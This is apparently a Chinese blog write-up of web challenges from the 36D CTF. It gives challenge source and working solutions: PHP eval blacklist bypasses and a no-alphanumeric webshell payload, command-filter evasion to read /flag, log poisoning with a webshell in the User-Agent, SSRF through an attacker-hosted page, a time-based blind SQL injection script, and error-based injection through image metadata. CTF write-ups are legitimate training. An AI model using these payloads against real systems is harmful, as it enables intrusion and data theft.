[36DCTF]WEB Write Up

WEB_你取吧

给了源码

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<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");

怎么绕呢?

解法1:

用$$ :${$_{7}.$_{8}.$_{12}.$_{19}} 出来是$hint

这道题在websec.fr上有类似的题目,具体参数为level22,可以参考https://blog.ankursundara.com/websec-fr-solutions/

You can access array elements using {} instead of []. We can call functions in the blacklist via $blacklist{index}(). We search through the blacklist to find var_dump, and see that it is at index 579. We call var_dump($a) to dump the flag.

原理是什么呢:

通过上面的write-up,我们可以知道,使用$_{}可以截取黑名单中的字符,题目源码又给了hint,直接从黑名单中选取相应的字符位置,$_{7}=h 然后最终用${}包裹,就会变成$hint,就可以读到Hhh.php 经过base64编码后的源码了

解密得到一个压缩包:·phpjiami.zip·和一个地址:‘’hint.php‘’

下载下来发现有混淆,使用php反混淆工具解密,发现shell

在hint.php链接获得flag

赛后看了一下其他师傅的WP还学到了很多新解法

解法2:

构造chr函数直接截取成system(‘cat /flag’)

code=($_1=$_{2}.$_{7}.$_{17}).

($__=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).

($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).

($_2($__))

这里用.代替了;执行多语句,学到了学到了

解法3:

在 wh1sper师傅的博客中还发现了用三元运算符构造hint。具体可查:CTFshow 36D杯

在这张图表上,’@’|'(任何左侧符号)’=='(右侧小写字母)’

也就是说, ‘@’|‘!’==‘a’ ,于是我们用以下playload就可以读取 $hint (’@@@@’|'().4′ ==  ‘hint’):

  1. ?code= ($_ = ‘@@@@’|‘().4’) == 1?1:$$_

解法4:

P神的无数字字母getshell

?code=" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//

首先闭合前面的echo然后新构造一个 参考y1ng师傅

解法5:

国内暂时没见过这样的解法(可能我没见过),暂时不写明

解法6:

code=’2′);`/???/?? /???? ./`;/*

直接/bin/cp /flag ./

然后直接访问


WEB_WUSTCTF_朴实无华_Revenge

给了源码

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<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
 
function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}
 
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
 
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
 
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

测试后发现intval函数在传入 . -的时候返回int(0) 所以可以用这个绕过

payload:?num=0.01.0&md5=0e1138100474&get_flag=ca\t</flag

第二层0e弱类型比较跑一下就有了

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#coding:utf-8
import hashlib
 
for i in range(999999999,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md52 = hashlib.md5(md5.encode()).hexdigest()
    if md52[0:2] == '0e' and md52[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break

后来y1ng师傅修了一下:

加了

if ($num != $numPositve) {
die(‘最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve’);

if (preg_match(“/\’|\\\|\[|\*/”, $get_flag)) {
die(‘非预期修复*2’);

不用cat用nl</flag,或者od</flag,或者xxd</flag,或者fmt</flag,或者fold</flag

又修了一下过滤了之前的方法,所以不能通过0.012.0这样的方法绕过

赛后看了一下Y1ng师傅的WP,是因为浮点精度的问题

这里直接截图一下Y1ng师傅的博客

具体可以参考:CTFshow 36D Web Writeup


WEB_ALL_INFO_U_WANT

打开靶机,扫描一下发现了bak备份

下载

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visit all_info_u_want.php and you will get all information you want
 
= =Thinking that it may be difficult, i decided to show you the source code:
 
<?php
error_reporting(0);
 
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}
 
if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

给了phpinfo和文件包含代码,猜测就包含了,包含一下access.log发现有返回

在User-Agent写入一句话木马上传shell

file=../../../../../../../../var/log/nginx/access.log

在etc手撕一下获得flag

还有第二种解法,Y1ng师傅博客很详细了,有空复现下


WEB_RemoteImageDownloader

打开靶机是一个输入框,给了http:??。猜测是ssrf了

随便测试一下发现返回的是截图

发现了这篇文章

https://www.anquanke.com/post/id/86371

我们只需要在自己的vps上建立一个js

写一个html跳转到这个js查看日志就有flag


WEB_给你shell

打开靶机,有源码:

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<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
 
if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}
 
function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}
 
function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}
 
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
 
if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
 
die;

查看cookie发现secret

和这道题类似,爆破一下发现cookie为115的时候有新页面改cookie为{“secret”:115},传入give_me_shell=1

进入下一个页面

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<?php
error_reporting(0);
session_start();
 
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
 
if (!$_SESSION['login'])
    die('');
 
if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}
 
 
/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

测试后发现过滤了一吨字符,但是没过滤取反,

?code=]=123?><?=require@~%d0%99%93%9e%98?>

获得flag


WEB_Login_Only_For_36D

注入题,过滤了分号之类的,用\逃逸不多说了,然后测试一下发现select没了,布尔盲注没回显,时间盲注可以

无列名注入,盲猜password列

脚本:

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import requests as req
import time
 
def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
 
  result = result.replace('0x','')
  return '0x'+result
flag=''
url = "https://dc695489-cf68-45f2-97f9-1a21f62ba9e3.chall.ctf.show/"
string = [ord(i) for i in 'IABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
for i in range(50):
  for j in string:
    password = ord2hex(res+chr(j))
    password = 'or/**/if((password/**/REGEXP/**/binary/**/{}),sleep(10),1)#'.format(password)
    data = {
      'username':"admin\\",
      'password':password
    }
    startTime=time.time()
    r = req.post(url=url, data=data)
    endtime=time.time()
    if endtime - startTime > 5:
      flag += chr(j)
      print(flag)
      break

跑一会儿出了密码ILoVeThlrtySixD(环境比较卡,多跑几次就出来了,测试password长度为15)

登录即flag(BJD脚本用到现在可太有趣了)


WEB_你没见过的注入

题目提示直接给了:

  1. 不需要爆破、扫描
  2. 没有源码泄露
  3. 登陆不上去找txt

看到txt,想到的肯定是robots.txt了,访问发现重置密码界面(真后门)

重置密码后进入前台,发现是文件上传

根据题目名称,看来是在文件上传处进行注入了。

测了一会儿后发现是元数据注入,找个图片在版权信息报错注入读文件

u’or updatexml(1,concat(0x7e,(select left(load_file(“/flag”),25))),0) or ‘

flag长多截取点

咱也是看群里聊天才知道这个注入的,咱也啥也不会

2 thoughts on “[36DCTF]WEB Write Up

  1. Pingback: CTFshow 36D杯 | 聆听,低语者的诉求

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